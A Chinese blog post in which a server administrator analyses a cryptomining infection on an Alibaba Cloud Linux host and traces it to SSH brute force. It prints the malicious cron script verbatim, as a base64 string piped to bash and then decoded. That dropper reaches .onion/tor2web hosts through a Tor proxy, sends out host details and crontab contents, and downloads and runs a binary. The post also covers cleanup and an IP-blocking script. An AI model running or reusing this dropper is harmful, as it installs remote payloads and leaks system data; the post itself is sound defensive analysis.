linux主机又中毒了

一 背景

早上就收到朋友的短信,提示阿里云机器有恶意病毒执行,一般病毒木马执行喜欢用 crontab,所以先看看 crontab 的内容:

for u in `cat /etc/passwd | cut -d":" -f1`;do crontab -l -u $u;done

结果发现可疑 crontab 脚本:

43  * * * * /root/.systemd-service.sh > /dev/null 2>&1 &

二 恶意脚本分析

查看脚本内容:

#!/bin/bash
exec &>/dev/null
echo nP8byPUGOwKjVfPZZsp5octdXHTWGyPqgVeY82zV1de6AY0ydAtgEGmo+JaumEfV
echo blA4YnlQVUdPd0tqVmZQWlpzcDVvY3RkWEhUV0d5UHFnVmVZODJ6VjFkZTZBWTB5ZEF0Z0VHbW8rSmF1bUVmVgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ3dnp5djJucHRqdXhjcW9pYmVrbHhlc2U0Nmo0dW9uemFhcHd5bDZ3dmhka25qbHFsY29ldTdpZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgZG5zLmZsYXR1c2xpZmlyLmlzIGRvaC5saSBkbnMuZGlnaXRhbGUtZ2VzZWxsc2NoYWZ0LmNoKQpwPSQoZWNobyAiZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCRjIGh0dHBzOi8vJHtuWyQoKFJBTkRPTSUxMCkpXX0vJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8aGVhZCAtbiAxKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmPS9pbnQuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQgb25pb24uZm91bmRhdGlvbiBvbmlvbi5jb20uZGUgb25pb24uc2ggdG9yMndlYi5zdSAKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash

第一句没啥好说的,就是 exec 执行的输出和错误输出重定向到黑洞文件,即不输出出错和输出信息.

1 exec &>/dev/null

第二句很奇怪就打印些 base64 内容,转后是乱码,没看到什么东西:

echo nP8byPUGOwKjVfPZZsp5octdXHTWGyPqgVeY82zV1de6AY0ydAtgEGmo+JaumEfV

重点是第三句:

echo  一串base64| base64 -d|bash

即将这一串 base64 编码的字符串用 base64 解码,然后通过管道通过 bash 执行.
解码下:

  1 nP8byPUGOwKjVfPZZsp5octdXHTWGyPqgVeY82zV1de6AY0ydAtgEGmo+JaumEfV
  2 exec &>/dev/null
  3 export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
  4
  5 d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
  6 c=$(echo "curl -4fsSLkA- -m200")
  7 t=$(echo "wvzyv2nptjuxcqoibeklxese46j4uonzaapwyl6wvhdknjlqlcoeu7id")
  8
  9 sockz() {
 10 n=(doh.defaultroutes.de dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.fla    tuslifir.is doh.li dns.digitale-gesellschaft.ch)
 11 p=$(echo "dns-query?name=relay.tor2socks.in")
 12 s=$($c https://${n[$((RANDOM%10))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
 13 }
 14
 15 fexe() {
 16 for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
 17 }
 18
 19 u() {
 20 sockz
 21 f=/int.$(uname -m)
 22 x=./$(date|md5sum|cut -f1 -d-)
 23 r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
 24 $c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
 25 chmod +x $x;$x;rm -f $x
 26 }
 27
 28 for h in tor2web.in tor2web.it onion.foundation onion.com.de onion.sh tor2web.su
 29 do
 30 if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
 31 fexe;u $t.$h
 32 ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
 33 ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
 34 else
 35 break
 36 fi
 37 done
  • 第一句话仍然是一串疑似 base64 编码,解码也没看到什么特殊地方,我怀疑只是屏蔽些检测软件用的.
  • 第二和三句,屏蔽输出和设置环境变量没啥特殊地方.
  • 第四句:
d= echo  $(grep x:$(id -u): /etc/passwd|cut -d: -f6)

即从/etc/passwd 中获取当前用户的家目录, cut -d: -f6: cut 是切分,-d 指定切分分隔符为冒号,$(id -u)获取当前用户的 id,root 一般为 0。

  • 第五句为获取执行命令:curl -4fsSLkA- -m200
    参数说明:
-4 即使用 ipv4   
-f 连接失败时不显示 http 错误 
-s 静默模式。不输出任何东西 
-S/--show-error 显示错误 
-L 参数会让 HTTP 请求跟随服务器的重定 
-k 参数指定跳过 SSL 检测。 
-A 参数指定客户端的用户代理标头,即 User-Agent 
-m200 设置最大传输时间 200s 
  • 第 7 行为 echo 输出一串字符串,也许后面用到.
  • 第 9 到 13 行为 sockz 函数,随机从域名查询的网站中选择一个进行域名查询:
curl -4fsSLkA- -m200  https://dns.hostux.net/dns-query?name=relay.tor2socks.in

grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"即搜索 ip,tr ' ' '\n' 空格转换行。

grep -Ev [.]0即过滤掉不包含点号的行,然后进行排序:-ur 降序排序,u 保障唯一。

head -n 1只取第一个,这种做 cc 控制的域名的 ip 是不停转换的,通过这种方式保障获取到的 ip 是最新的。

  • 第 15 到 17 行,测试下,通过一个循环再这些目录下生成一个 i 文件,内容只有 exit,增加执行权限,运行一次后删除,执行一次成功就跳出循环。

-第 19 到 26 行,即 u 函数,cut -f1 -d- 以-为分隔符,取第一个字段。$(date|md5sum|cut -f1 -d-)即用当前时间生成 md5 码。

脚本:$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)
含义:查下阿里云的外网 IP,然后拼上一堆东西构成一个字符串。

脚本:$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r

含义:$c -x socks5h://$s:9050 采用 sock5 代理,代理 ip 是上面获取的 ip,socks5h:// 表示如果代理是域名通过 sock5 代理服务器解析, $t.onion$f按照我的理解应该是一些鉴权参数信息。

-e$r即设置 HTTP 的 refer 内容。
-o$x保存返回内容到文件中。
|| $c $1$f -o$x -e$r 即如果前面没有执行成功,通过这种方式获取内容保存到本地文件中。
chmod +x $x;$x;rm -f $x 执行可执行文件,然后删除。

  • 第 30 行到 39 行 是整个脚本的入口,执行一个 for 循环,判断木马文件是否存在,如果不存在,则调用fexe;测试执行情况,然后调用u $t.$h 进行木马文件的下载,具体过程见上面的 u 函数的分析,再继续查看进程状态,如果不存在,继续下载执行,连续运行二次。
[root@iZbp10p2g1civrw4ggigvfZ mscms]# ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status
/proc/3879/status
[root@iZbp10p2g1civrw4ggigvfZ mscms]# ps -ef|grep 3879
root      3879     1  0 Feb19 ?        00:00:00 KuZJxv6t
root     18762  3907  0 11:01 pts/0    00:00:00 grep --color=auto 3879
[root@iZbp10p2g1civrw4ggigvfZ mscms]# lsof -p 3879
COMMAND   PID USER   FD   TYPE DEVICE SIZE/OFF   NODE NAME
KuZJxv6t 3879 root  cwd    DIR  253,1     4096 917505 /root
KuZJxv6t 3879 root  rtd    DIR  253,1     4096      2 /
KuZJxv6t 3879 root  txt    REG  253,1    32168 950589 /root/5004b390813bc5e00c2a11daedad32cf (deleted)
KuZJxv6t 3879 root    0w   REG  253,1        6 131086 /tmp/.X11-unix/01

果然这个恶意的代码已经再执行了,具体干的啥那?通过 lsof 判断,没有发现有外连或打开端口的现象。

三 溯源

3.1 aureport

 aureport --auth
23115. 02/16/2021 21:17:32 ? 87.246.7.242 dovecot /usr/libexec/dovecot/auth no 1550853
23116. 02/16/2021 21:17:56 ? 87.246.7.242 dovecot /usr/libexec/dovecot/auth no 1550854
23117. 02/16/2021 21:18:02 ? 87.246.7.226 dovecot /usr/libexec/dovecot/auth no 1550862
....

通过查看认证报告,大量主机连接本主机开源 smtp 和 pop3 服务上,这个服务用的不多,直接干掉。

aureport -i --login |grep yes

排查登录信息:


可疑登录信息

从 47.110.55.79 这个阿里主机登录进来的,时间为:6 点 57分。

3.2 查看 secure 日志

[root@iZbp10p2g1civrw4ggigvfZ .X11-unix]# cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}'
121.5.54.240=3
132.232.144.76=1
47.110.55.79=287

确实发现 47.110.55.79 失败了 287 次,看起来很像暴力破解,将其加入到黑名单中:

#! /bin/bash
cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /usr/local/bin/black.txt
for i in `cat  /usr/local/bin/black.txt`
do
  IP=`echo $i |awk -F= '{print $1}'`
  NUM=`echo $i|awk -F= '{print $2}'`
   if [ $NUM -gt 20 ];then
      grep $IP /etc/hosts.deny > /dev/null
    if [ $? -gt 0 ];then
      echo "sshd:$IP:deny" >> /etc/hosts.deny
    fi
  fi
done

3.3 清理

3.3.1 检查 hosts 和 ssh 信息

  1. /etc/hosts 确实有些乱七八糟的主机,清理掉。
  2. /root/.ssh/authorized_keys 也没有密钥
  3. cd /etc/cron.d 发现可疑文件:


    可疑文件

    内容如下:

cat 0systemd-service
18 * * * * root /opt/systemd-service.sh > /dev/null 2>&1 &

脚本内容和上面 crontab 里面的一样,直接删除,且删除/opt/systemd-service.sh 文件。
通过 crontab 定位到/root 下面还有一个/root/.systemd-service.sh 恶意脚本也删除掉,内容都是一样的。

  1. 根据脚本找到启动的进程杀掉:
[root@iZbp10p2g1civrw4ggigvfZ .X11-unix]# cat 01
3879

[root@iZbp10p2g1civrw4ggigvfZ .X11-unix]# ps -ef|grep 3879
root      3879     1  0 Feb19 ?        00:00:00 KuZJxv6t
root     29242  3907  0 12:18 pts/0    00:00:00 grep --color=auto 3879
[root@iZbp10p2g1civrw4ggigvfZ .X11-unix]# lsof -p 3879
COMMAND   PID USER   FD   TYPE DEVICE SIZE/OFF   NODE NAME
KuZJxv6t 3879 root  cwd    DIR  253,1     4096 917505 /root
KuZJxv6t 3879 root  rtd    DIR  253,1     4096      2 /
KuZJxv6t 3879 root  txt    REG  253,1    32168 950589 /root/5004b390813bc5e00c2a11daedad32cf (deleted)
KuZJxv6t 3879 root    0w   REG  253,1        6 131086 /tmp/.X11-unix/01
[root@iZbp10p2g1civrw4ggigvfZ .X11-unix]# kill -9 3879
  1. 后续持续一段时间观察 crontab 日志
grep "systemd-service.sh" /var/log/cron

四 后续安全措施

通过溯源分析来看,应该是通过 ssh 爆破的方式进入的,为安全起见,还是更改下 sshd 默认端口吧,本来想偷懒的,却经常被中挖矿木马。

五 诗词欣赏

清平乐·村居
   朝代:[宋代] 作者:[辛弃疾]

茅檐低小,溪上青青草。醉里吴音相媚好,白发谁家翁媪。
大儿锄豆溪东,中儿正织鸡笼。最喜小儿亡赖,溪头卧剥莲蓬。
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,734评论 6 505
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,931评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,133评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,532评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,585评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,462评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,262评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,153评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,587评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,792评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,919评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,635评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,237评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,855评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,983评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,048评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,864评论 2 354

推荐阅读更多精彩内容